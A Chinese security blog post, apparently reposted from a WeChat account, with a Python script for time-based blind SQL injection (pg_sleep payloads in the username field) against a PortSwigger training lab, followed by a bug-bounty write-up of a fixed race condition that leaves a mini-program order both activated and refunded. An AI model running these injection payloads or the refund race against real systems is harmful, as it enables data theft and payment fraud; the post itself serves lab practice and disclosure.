[严重漏洞分享]10秒实现0元支付的奥秘

admin 2023年12月21日16:35:38评论24 views字数 2381阅读7分56秒阅读模式
[严重漏洞分享]10秒实现0元支付的奥秘

小声BB

由于小号限制了一天只能发一篇推文,所以今天的靶场连续剧停播一天,插播一则严重漏洞。
昨天的靶场推文脚本存在问题,经修复后重新补发一下源码:

import requests,time,re
#靶场域名HOST="https://0a36000c0480d6798385960e00490037.web-security-academy.net/"

def login(sec,host,data): start=time.time() headers={'Content-Length':'94','Content-Type':'application/x-www-form-urlencoded'} sec.post(host+"login",data=data,headers=headers) if time.time()-start>5: return True else: return False
def check_version(idx,number): '''获取版本号''' username="' ; SELECT CASE WHEN ASCII(SUBSTRING(VERSION() FROM %s FOR 1)) = %s THEN pg_sleep(5) ELSE pg_sleep(0) END --"%(idx,number)
sec=requests.session() html=sec.get(HOST+"login").text csrf_token=re.findall('"csrf" value="(.*?)">',html)[0] data=f'csrf={csrf_token}&username={username}&password=asdasd' if login(sec,HOST,data): print(f"【{username}】 成功命中...") return True else: print(f"【{username}】没命中...") return False def get_str_len(number,payload): '''获取要注入的内容长度'''
username=payload%number sec=requests.session() html=sec.get(HOST+"login").text csrf_token=re.findall('"csrf" value="(.*?)">',html)[0] data=f'csrf={csrf_token}&username={username}&password=asdasd' if login(sec,HOST,data): print(f"【{username}】 成功命中...") return True else: print(f"【{username}】 没命中...") return False
def length_search(high,payload): '''定位字符串长度''' while high: print("当前长度:",high) if get_str_len(high,payload): return high high=high-1

sqli_result=''
#先检测长度是否>某个数字,缩小长度范围len_sqli="' ; SELECT CASE WHEN LENGTH(VERSION()) > %s THEN pg_sleep(5) ELSE pg_sleep(0) END --"get_str_len(134,len_sqli)

#根据上面确定的设置一个10浮动以内的数字开启自动遍历len_sqli="' ; SELECT CASE WHEN LENGTH(VERSION()) = %s THEN pg_sleep(5) ELSE pg_sleep(0) END --"str_len = length_search(135,len_sqli)print("长度检测命中结果:",str_len)for idx in range(1,str_len+1): for j in range(1,128): print("当前:",j) if check_version(idx,j): sqli_result+=chr(j) break
print("注出数据库版本号:",sqli_result)
[严重漏洞分享]10秒实现0元支付的奥秘

切回主线


今天分享的故事,很奇特,它的原理是数据同步不及时造成的0元支付漏洞(以上纯属个人猜测,实际情况请提刀去问开发)。这也是我第一次接触支付逻辑漏洞,所以想和大家分享下。


[严重漏洞分享]10秒实现0元支付的奥秘

[严重漏洞分享]10秒实现0元支付的奥秘

漏洞详情


1.该漏洞需要电脑端和手机端同时联动,打开电脑端小程序,随便选中一个订单,购买它。

[严重漏洞分享]10秒实现0元支付的奥秘

[严重漏洞分享]10秒实现0元支付的奥秘

2.买完之后,点击订单,进入激活页面,此时,如果订单没有激活,是可以直接申请退款的。


[严重漏洞分享]10秒实现0元支付的奥秘

[严重漏洞分享]10秒实现0元支付的奥秘


3.这时需要用手机端打开目标小程序,然后进入订单页面准备退款。


[严重漏洞分享]10秒实现0元支付的奥秘

电脑小程序这边也进入激活订单页面待命。


[严重漏洞分享]10秒实现0元支付的奥秘


4.关键操作来了,这时打开手机的秒表小工具,开启计时,当秒到10的整点的时候,手机端点击退款,开启十秒倒计时,电脑端准备好点击激活订单,倒计时完毕电脑端马上点击激活。


[严重漏洞分享]10秒实现0元支付的奥秘


[严重漏洞分享]10秒实现0元支付的奥秘


5. 十 、九、 八、七、、、一!电脑端马上点击激活按钮!


[严重漏洞分享]10秒实现0元支付的奥秘


激活成功!

[严重漏洞分享]10秒实现0元支付的奥秘

6.与此同时订单退款成功!


[严重漏洞分享]10秒实现0元支付的奥秘


7.最终订单的状态是既激活也退款,这就是另类0元支付。


[严重漏洞分享]10秒实现0元支付的奥秘


[严重漏洞分享]10秒实现0元支付的奥秘


[严重漏洞分享]10秒实现0元支付的奥秘

小事故


这个漏洞是经过无数次退款才复现出来的,后来我想着能不能实现python程序自动化精准踩点,不过我翻车了,血亏300元的订单钱,厂商也没补贴给我....
好在漏洞获得6000元赏金~安抚一下我受伤的小心灵~



[严重漏洞分享]10秒实现0元支付的奥秘

[严重漏洞分享]10秒实现0元支付的奥秘

经验三点总结


1.舍得花钱去测试
2.请看1
3.还是看1

[严重漏洞分享]10秒实现0元支付的奥秘

[严重漏洞分享]10秒实现0元支付的奥秘

结尾


公众号更新不易,每一篇都是呕心沥血的“佳作”(我承认这是我说过脸皮最厚的骚话....)
如果不喜欢,麻烦点个在看,让我知道~


[严重漏洞分享]10秒实现0元支付的奥秘

特别说明:文章提到的漏洞已完成修复,文章中提及的所有知识点仅供学习,切勿用作非法用途。

原文始发于微信公众号(森柒柒):[严重漏洞分享]10秒实现0元支付的奥秘

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年12月21日16:35:38
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   [严重漏洞分享]10秒实现0元支付的奥秘http://cn-sec.com/archives/2324174.html

发表评论

匿名网友 填写信息